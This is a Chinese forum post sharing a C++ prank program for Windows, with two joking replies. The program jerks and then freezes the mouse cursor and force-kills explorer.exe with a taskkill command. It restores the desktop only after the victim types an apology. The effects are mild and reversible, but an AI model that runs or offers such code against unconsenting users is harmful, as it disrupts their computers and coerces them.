猫史档案馆


C++程序

用户:Hongky_6Hongky_6查看:1 回复:2 评论:1 创建时间:2022-12-25T19:22:19


#include<stdio.h>
#include<windows.h>
#include<conio.h>
#include<time.h>

int main() {
	system("title ");
	time_t first,second,third;
	time(&first);
	int x,y;
	double dTime=0,dTime2=0;
	printf("(一)鼠标乱抖~\n\n"); 
	while(dTime<15){ 
		time(&second);
		dTime = difftime(second,first); 
		srand(y);
		x=rand()%1000+1;
		srand(x);
		y=rand()%1000+1; 
		SetCursorPos(x,y);
	}	
	system("cls");
	printf("(二)鼠标失灵~\n\n");
	while(dTime2<15){
		time(&third);
		dTime2 = difftime(third,second);
		SetCursorPos(400,300);
	}
	system("cls");
	char a[20],b[20]={"对不起我错了"}; 
	system("taskkill/im explorer.exe /f"); 
	system("cls");
	printf("小心白屏~\n\n");
	while(1)
	{
		printf("说“对不起我错了”,否则,白屏伺候\n\n");
   		scanf("%s",a);
   		if(strcmp(a,b)==0){  
			printf("知错能改善莫大焉,现在恢复正常~\n\n");	
			system("explorer.exe");
			break;
		} 
	}
	return 0;
}


回复

上一页1 页 / 共 1下一页
coffee_执笔coffee_执笔

好活,下辈子别做了(滑稽)

点赞0


评论


猫和老鼠爱好者猫和老鼠爱好者

会个c++看把你嘚瑟的!有本事再教教大家c++!有本事让我关都关不掉!Alt+F4 秒关    

点赞0


评论